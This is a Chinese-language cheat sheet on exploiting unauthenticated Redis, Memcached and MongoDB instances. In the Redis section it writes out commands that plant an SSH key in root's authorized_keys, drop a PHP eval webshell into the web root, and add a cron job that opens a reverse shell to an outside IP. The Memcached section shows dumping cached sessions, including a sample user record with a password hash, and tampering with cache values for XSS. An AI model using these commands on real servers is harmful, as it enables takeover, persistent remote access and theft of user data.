一、Redis
REmote DIctionary Server(Redis) 是完全开源免费的,遵守BSD协议,Redis是一个由Salvatore Sanfilippo写的key-value存储系统。。
Redis 与其他它key - value 缓存产品有以下三个特点:
· Redis支持数据的持久化,可以将内存中的数据保存在磁盘中,重启的时候可以再次加载进行使用。
· Redis不仅仅支持简单的key-value类型的数据,同时还提供list,set,zset,hash等数据结构的存储。
· Redis支持数据的备份,即master-slave模式的数据备份。
信息收集
1、未授权连接
redis-cli -h 127.0.0.1 -p 6379
带密码连接
redis-cli -h 127.0.0.1 -p 6379 -a password
info # 服务器命令
keys * # 检索所有键(生产服务器慎用,ctf随意)
get 某个key # 查看键对应的值
del 某个key # 删除该键值对
config get * # 查看config信息
config set xxx yyy # 设置config信息
2、redis写authorized_keys
首先,生成密钥对(如果有,可跳过)
ssh-keygen -t rsa
然后,为了方便,我们生成一个临时文件(工作目录在密钥所在目录)
(echo -e "\n\n\n"; cat id_rsa.pub; echo -e "\n\n\n") > pub.txt
接着,连接redis并存储数据到redis上
cat pub.txt| redis-cli -h 192.168.2.155 -p 6379 -a 1q2w3e4r -x set gaia
再后来,设置目录,并保存文件(可以考虑尝试别的用户)
config set dir /root/.ssh/
config set dbfilename "authorized_keys"
save
exit
最后,通过私钥连接登入服务器
ssh -i id_rsa root@192.168.2.155
3、写webshell
config set dir /var/www/html/
config set dbfilename "gaia.php"
set gaia "<?php eval($_POST[cmd]);?>"
Save
菜刀连接
4、redis写定时任务反弹shell
config set dir /var/spool/cron/
config set dbfilename root
set x "\n* * * * * bash -i >& /dev/tcp/192.168.2.155/2333 0>&1\n"
save
2、 Memcache
memcached是一套分布式的高速缓存系统。它以Key-Value(键值对)形式将数据存储在内存中,这些数据通常是应用读取频繁的。正因为内存中数据的读取远远大于硬盘,因此可以用来加速应用的访问。
漏洞利用方式
1、在内存中获取敏感信息
stats items //获取所有内存中的KEY
STAT items:11:number 2
STAT items:11:age 81
STAT items:11:evicted 0
STAT items:11:evicted_nonzero 0
STAT items:11:evicted_time 0
STAT items:11:outofmemory 0
STAT items:11:tailrepairs 0
STAT items:11:reclaimed 1639
STAT items:11:expired_unfetched 142
STAT items:11:evicted_unfetched 0
END
接下来基于列出的items id 命令 stats cachedump items 0 //0表示获取所有的内容
stats cachedump 40 0
ITEM bWNfZGZfbmdzZGtfXzNrX2ZhaWxkYXRh [512447 b; 1484136213 s]
END
接下来就用get命令查找对应的session值
get fe3550f558a77ab045ee6b2fa253e4fc
VALUE fe3550f558a77ab045ee6b2fa253e4fc 1 1356
a:52:{s:7:"user_id";s:8:"26897900";s:5:"email";s:0:"";s:6:"passwd";s:40:"7c4a8d09ca3762af61e59520943dc26494f8941b";s:12:"passwd_level";s:1:"1";s:9:"user_name";s:10:"k276107224";s:8:"is_login";s:1:"1";s:5:"phone";s:0:"";s:6:"mobile";s:14:"A000002C8F8FF6";s:6:"reg_ip";s:9:"975367684";s:8:"reg_time";s:10:"1444994053";s:10:"last_login";s:10:"1484085336";s:7:"last_ip";s:9:"975367684";s:17:"first_charge_time";s:10:"1454458538";s:16:"last_charge_time";s:10:"1473592187";s:12:"charge_today";s:1:"0";s:12:"charge_total";s:5:"11400";s:12:"charge_count";s:2:"11";s:7:"safe_aq";s:0:"";s:16:"safe_verify_time";s:1:"0";s:12:"super_passwd";N;s:12:"real_certify";s:1:"0";s:12:"email_verify";s:1:"0";s:13:"idcard_verify";s:1:"0";s:4:"name";s:0:"";s:8:"nickname";s:0:"";s:9:"signature";s:0:"";s:4:"face";s:0:"";s:8:"face_tmp";s:0:"";s:9:"figureurl";s:0:"";s:3:"sex";s:0:"";s:7:"marital";s:1:"0";s:6:"height";s:0:"";s:6:"weight";s:0:"";s:8:"birthday";s:10:"1980-01-01";s:6:"idcard";s:0:"";s:2:"qq";s:0:"";s:7:"website";s:0:"";s:7:"address";s:0:"";s:7:"country";s:1:"0";s:8:"province";s:1:"0";s:4:"city";s:1:"0";s:4:"area";s:1:"0";s:8:"timezone";s:0:"";s:11:"verify_info";N;s:5:"score";s:1:"0";s:9:"reg_canal";s:4:"5592";s:6:"isauto";s:1:"1";s:11:"login_total";s:1:"0";s:12:"charge_limit";s:1:"0";s:10:"occupation";s:0:"";s:6:"old_id";s:8:"24623803";s:6:"bbs_id";s:1:"0";}
END重复循环这个,在里面寻找缓存的用户信息,这里读取的密码是加密的。
2、通过修改缓存中的htnl 构造XSS
memcached 中的 append 命令的基本语法格式如下:
append key flags exptime bytes [noreply]
value
参数说明如下:
key:键值 key-value 结构中的 key,用于查找缓存值。
flags:可以包括键值对的整型参数,客户机使用它存储关于键值对的额外信息 。
exptime:在缓存中保存键值对的时间长度(以秒为单位,0 表示永远)
bytes:在缓存中存储的字节数
noreply(可选): 该参数告知服务器不需要返回数据
value:存储的值(始终位于第二行)(可直接理解为key-value结构中的value)
实例如下:
首先我们在 Memcached 中存储一个键 runoob,其值为 memcached。
然后,我们使用 get 命令检索该值。
然后,我们使用 append 命令在键为 runoob 的值后面追加 "redis"。
最后,我们再使用 get 命令检索该值。
set runoob 0 900 9
memcached
STORED
get runoob
VALUE runoob 0 9
memcached
END
append runoob 0 900 5
redis
STORED
get runoob
VALUE runoob 0 14
memcachedredis
END
输出
如果数据添加成功,则输出:
STORED
输出信息说明:
STORED:保存成功后输出。
NOT_STORED:该键在 Memcached 上不存在。
CLIENT_ERROR:执行错误。
3、Memcached二次漏洞利用
除memcached中数据可被直接读取泄漏和恶意修改外,由于memcached中的数据像正常网站用户访问提交变量一样会被后端代码处理,当处理代码存在缺陷时会再次导致不同类型的安全问题。
不同的是,在处理 前端用户直接输入的数据时一般会接受更多的安全校验,而从memcached中读取的数据则更容易被开发者认为是可信的,或者是已经通过安全校验的,因此更容易导致安全问题。
由此可见,导致的二次安全漏洞类型一般 由memcached数据使用的位置(XSS通常称之为sink)的不同而不同, 如:
(1)缓存数据未经过滤直接输出可导致XSS(上面讲的第二点);
(2) 缓存数据 未经过滤代入拼接的SQL注入查询语句可导致SQL注入;
(3) 缓存数据 存储敏感信息(如:用户名、密码),可以通过读取操作直接泄漏;
(4) 缓存数据 未经过滤直接通过system()、eval()等函数处理可导致命令执行;
(5) 缓存数据 未经过滤直接在header()函数中输出,可导致CRLF漏洞(HTTP响应拆分)。
… …
漏洞检测:
1、本地检测可以登录机器执行netstat -an | more命令查看端口监听情况。回显0.0.0.0:11211表示在所有网卡进行监听,存在memcached 未授权访问漏洞。
2、 远程检测可以 telnet ip 11211, 或 nc -vv ip 11211,提示连接成功表示漏洞存在,stats 显示下面类似的东西,或者按几次回车出现"ERROR"
STAT pid 8676 STAT uptime 3054540779 STAT time 353351997 STAT version 1.4.4-14-g9c660c0 STAT pointer_size 64 STAT curr_connections 11 STAT total_connections 12 STAT connection_structures 12
……
三、Mongodb
开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,登录的用户可以通过默认端口无需密码对数据库任意操作(增、删、改、查高危动作)而且可以远程访问数据库。
造成未授权访问的根本原因就在于启动 Mongodb 的时候未设置 --auth 也很少会有人会给数据库添加上账号密码(默认空口令),使用默认空口令这将导致恶意攻击者无需进行账号认证就可以登陆到数据服务器。
该漏洞是由于MongoDB未设置访问权限,用户可以直接连上该数据库 Linux下执行
mongo 目标ip:端口号